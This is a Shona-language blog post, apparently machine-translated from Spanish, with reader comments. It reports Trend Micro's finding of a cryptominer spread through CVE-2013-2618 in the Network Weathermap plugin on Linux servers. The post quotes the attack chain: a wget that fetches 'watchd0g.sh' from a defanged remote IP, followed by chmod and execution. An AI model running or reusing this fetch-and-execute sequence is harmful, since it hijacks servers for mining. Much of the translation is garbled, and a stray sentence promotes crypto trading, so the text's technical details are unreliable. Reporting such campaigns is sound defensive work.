Izvi kubva mugodhi wecryptocurrency pamwe nekushandisa kwemakomputa ari kure pasina mvumo yevaridzi veaya ave kuita maitiro. Ini ndanga ndambotaura nezve izvi pane mashoma nguva pano pa blog nezverudzi urwu mamiriro.
Uye ndezvekuti izvi zvakatobuda mukutonga kubva panguva iyo cryptocurrencies vatora nzvimbo yakati wandei uye kukosha, vanhu vane ruzivo rwakakwana kuti vawane makomputa anotyora kuchengetedzeka kwavo vaisa parutivi kutambisa nguva vachitsvaga ruzivo rwakakosha kana maakaundi ekubhangi kuti vawane rubatsiro rwemari.
Panzvimbo pekuita izvi ivo vanosarudza chinhu chakareruka mukutora zvikwata izvi nekuzvibatanidza mumambure emigodhi uyezve nemamwe mabasa ayo avanowanzoita ne botnet.
Neiyi nzira zvinowanzo kuve zvakanyanya kukutsanangudza iwe, ivo vari kungo tarisa pane iyo pakarepo mari iyo inogadzira.
Nokunzwisisa kwakanaka kwemaitiro emusika uye ruzivo rwakakodzera rwekutengesa crypto, munhu anogona kukohwa mabhenefiti makuru.
Ichokwadi here Linux yakachengeteka system?
Vazhinji vedu tine pfungwa yekuti Linux ingangoita yakakwana sisitimu yekushandisa, chokwadi ndechekuti ichiri nezvimwe zvikanganiso.
Well hasmamwe mazuva TrendMicro yakagadzira, iyo zvakaratidzwa chitsva kukanganisa muLinux masisitimu ayo akapa vateki mukana wekuchera macryptocurrencies uchishandisa Linux maseva uye michina.
Mune chirevo kuburikidza neako blog vakataura zvinotevera:
Kuburikidza nekutarisisa kwedu kwakanangana nekupindurwa kwezviitiko, takaona kuyedza kwekupindira vane zviratidzo zvataikwanisa kuwiriranisa neyakamboita cryptocurrency yekuchera mushandirapamwe waishandisa iyo JenkinsMiner malware.
Musiyano: uyu mushandirapamwe uri kunongedza maseva eLinux. Iyo zvakare inyaya yechinyakare yekushandiswazve kushomeka, kushandisa yechinyakare yekukanganisa kukanganisa iyo chigamba chave chiripo kweanoda kusvika makore mashanu.
Mukuburitsa uku kubudikidza nekuongorora kwako yakakwanisa kuona nzvimbo dzakakanganiswa nekuda kwekukundikana uku Inonyanya kubata Japan, Taiwan, China, USA neIndia.
Kuongorora kwekurwisa
Kuburikidza nekuongorora neTrend Micro Smart Dziviriro Network tsanangura zvishoma nezvekuti vapambi vanoshandisa sei kukanganisa uku:
Vafambisi vemushandirapamwe uyu vaishandisa CVE-2013-2618, iyo yakatarisana nedambudziko muCamapi Network Weathermap plugin, iyo masisitimu manejimendi anoshandisa kufungidzira zviitiko zve network.
Nezve chikonzero nei ivo vari kushandisa chekare chengetedzo chikanganiso: Network Weathermap ine chete vaviri chete yakaziviswa pachena kusasimba kusvika parizvino, zvese kubva munaJune 2014.
Vanorwisa ava vanogona kunge vachitora mukana kwete chete kukanganisa kwekuchengetedzeka uko chinowanikwa, asiwo kunonoka kwechigamba kunoitika mumasangano anoshandisa yakavhurika sosi yekushandisa.
Chaizvoizvo kurwiswa kuri kuburikidza nekurwiswa kweXSS:
Chikamu chisina kujeka ndicho chinangwa chekurwisa, dura rewebhu rine chiteshi.
Faira /plugins/weathermap/configs/conn.php iri faira rinokonzerwa nekuramba uchirwiswa neXSS pa / plugins / mamiriro ekunze / php .
Mukuwedzera kune conn.php Pakutanga, tinoona yakafanana HTTP chikumbiro chakashandiswa kune peji rakanzi ' cools.php '.
Iyo cryptocurrency yekuchera chirongwa chinogoverwa kuburikidza nekusagadzikana kubva kuPHP mepu mepu pane zvinangwa zviri Linux maseva
Mumufananidzo iwe unogona kuona kuti kurwisa kunogadzirwa sei uye kunotsanangurwa seinotevera:
wget watchd0g.sh hxxp: // 222 [.] 184 [.]] 79 [.] 11: 5317 / watchd0g [.] sh
Izvo zvazvinoita kutumira chiratidzo chekurodha pasi faira ine wget, chinova chishandiso icho chinenge zvese kugoverwa kweLinux kwakaiswa nekutadza.
chmod 775 watchd0g.sh
inoita iyo faira kuitwe
./watchd0g.sh
Izvo zvazvinoita pakupedzisira kuita kuti iyo faira imhanye pane server.
Neraki panotova nechigamba ( CVE-2013-2618 ) inowanikwa yekutadza uye Unogona kuikanda kubva iyi link
Si iwe unoda kuziva zvakawanda nezvazvo kwekukundikana uku unogona kushanyira iyi link.
mabviro: Cryptocurrency Miner Inogovaniswa kuburikidza nePHP Weathermap Vulnerability, Inonanga Linux Servers
Kuva benzi hakuna kuchengeteka, uye kunyangwe Linux ichikuchengetedza.
Kwete kuvandudza zvigamba zvekuchengetedza haisi mhosva yeLinux. Imhosva kuti mamwe makambani, kuchengetedza mari, kuhaya mapenzi sevatariri vehurongwa,
Asi kunyangwe zvakadaro, YAKADZIDZISWA PAKAITIKA uye inogadziriswa ipapo ipapo, kunyangwe chero chiitiko diki chekuchengeteka senge ichi chinoburitswa.
Uye imhosva yei iyo Linux ine zvairi kugadzirisa zvisina kushandiswa? Vagadziri veGNU / Linux vanoita basa ravo nekuvandudza mhinduro kumatambudziko ari kubuda nekuaita kuti awanikwe kune vashandisi. Kana chiremba akakunyorera jekiseni rekudzivirira furu asi iwe ukasariwana, unorwara ukaomesa… imhosva here yechiremba?
DesdeLinux no es lo que era, dos noticias seguidas con dos fallos importantes:
1.- Mune vapepeti varinani kusimudzira vanoisa imwe isiri yemahara software uye vanokanganwa vamwe vari (ivo vakataurwa mune zvakataurwa).
2.- Nhau dzinoshamisa nezvevirusi kana dzichingobata maseva ASI AKADZIDZWA. Asi kana paine chero linux yakagadziridzwa nekutadza kwemakumi emakore. Kuisa kutya sekunge panodiwa Windows -style inoyamwa antivirus. Vanoratidzika kunge vari kuedza kutaura kuti Linux yakafanana neWindows uye kwete.
Kana tsikidzi yakura uye yatotemerwa kare, haisi nhau kana chinhu. Usatambe makambani eMicrosoft uye antivirus akadai seTrend Micro, Norton, Panda kana McAffee, kana kubhadharwa.
Nenzira, isu tanga tichishandisa Trend Micro kwemakore akati wandei mukambani uye yaive mbatatisi chaiyo, shit, nekuti sisitimu yayo yakati anokwenenzverwa ane "zvisaririra" zvehutachiona (chimwe chinhu chingave hutachiona, kunyangwe kwete) uye nei yaibvisa (yakaenda nayo kudhairekitori kuti irege kumhanya) isingabvumidze mashandisiro ayo, uye yakanga isina chero whitelist yekuvharidzira maitiro aya nefaira yakachengeteka inoitiswa yataida kushandisa. Enda shit. Yaive yehukama vhezheni, iyo yega vhezheni yaive neiyi whitelist mukana. Zvinonzwisa tsitsi.
Usazvitsanangure iwe zvakanakisa.
Chinyorwa ichi chinotaura nezve gomba rekuchengetedza iro rinokutendera iwe kupinda muchirongwa, riite kuti riitwe uye riitwe, rinova gomba rekuchengetedza iro hutachiona hwese hunoda kupararira, zviri pachena kuti hutachiona hwaizoda kuti chirongwa chakapinda chiine kodhi yaro. mukana wekutora makomputa pamambure kudzokorora mashandiro uye nekuzviteedzera. Ivo havanyatsoita izvi nekuti muLinux maburi ekuchengetedza akawanikwa akafukidzwa nechengetedzo chigamba, uye ndizvo zvandiri kureva nemusiyano uripo pakati peWindows neLinux, nekuti antivirus haina basa, asi kuvhara gomba. MuWindows zvinonyanya kuoma nekuda kwezvikonzero zvakati wandei: 1.- Iwo mafaera anogona kuitiswa nekuwedzera chete, kubvisa danho rekupinzwa kwavo mukomputa yakanganiswa. 2.- Vashandisi vari kuramba vachiisa mapurogiramu ekusahadzika kwakatangira nekuti ndevekushambadzira uye vanoda kuva navo vasina kubhadhara (ini handisi kutaura chero chii chingave icho hupfumi hwekumba kutenga MS Office, Photoshop, ... zvakapetwa zvakapetwa kaviri mutengo wemidziyo yemakomputa). 3.- Munguva pfupi inotevera Windows inozobhururuka, mushandisi anoiendesa kumuvakidzani, shamwari, ... uyo, kuti asapedze nguva, anoumba zvese nekuisa iyo Windows yekupedzisira neyakagadziriswa chigamba chisina kuvandudzwa kana icho chigamba pachacho chinoisa chirongwa chekusora. Zvinogona kunge zvisiri uye zviri kufamba zvakanaka, asi zvinogona kunge zviripo uye uine Windows yekushora pamapassword. Muchinyorwa ivo vanotaura nezvekusuma sisitimu mune linux inokanganiswa nekukuvadzwa, ichigadzira iyo purogiramu inozviongorora netiweki yoishandisa kuzviteedzera pachayo nekumhanya pane server ndicho chikamu chiri nyore pane zvese, nekuda kwechikonzero icho zvataurwa mukati chinyorwa idanho rakakosha kwazvo kune chero hutachiona: kuziva kushomeka kwesystem yekurwisa.
Mashoko akaipa. Iyi haisi bhagi muLinux, idhigi muPHP KUSVIRA, ndiko kuti, iri multiplatform. Izvo hazvina kana kusarudzika kune masisitimu anomhanyisa linux kernel! Asi kunyangwe iko kunyorera kwanga kusiri kuyambuka-chikuva, kwaisazove Linux bug, ingangove yekushandisa chete.
Iyo Linux kernel haina kana kupindira kudiki mukudzivirira kubva pamuchinjikwa -saiti script kurwisa senge ino. Zvirinani ongorora MASHURE mashanu KUMASHURE usati watumira nekuti chokwadi icho kune chero munhu anoziva zvishoma nezve chimwe chinhu, iwe unozoita seusina kunaka.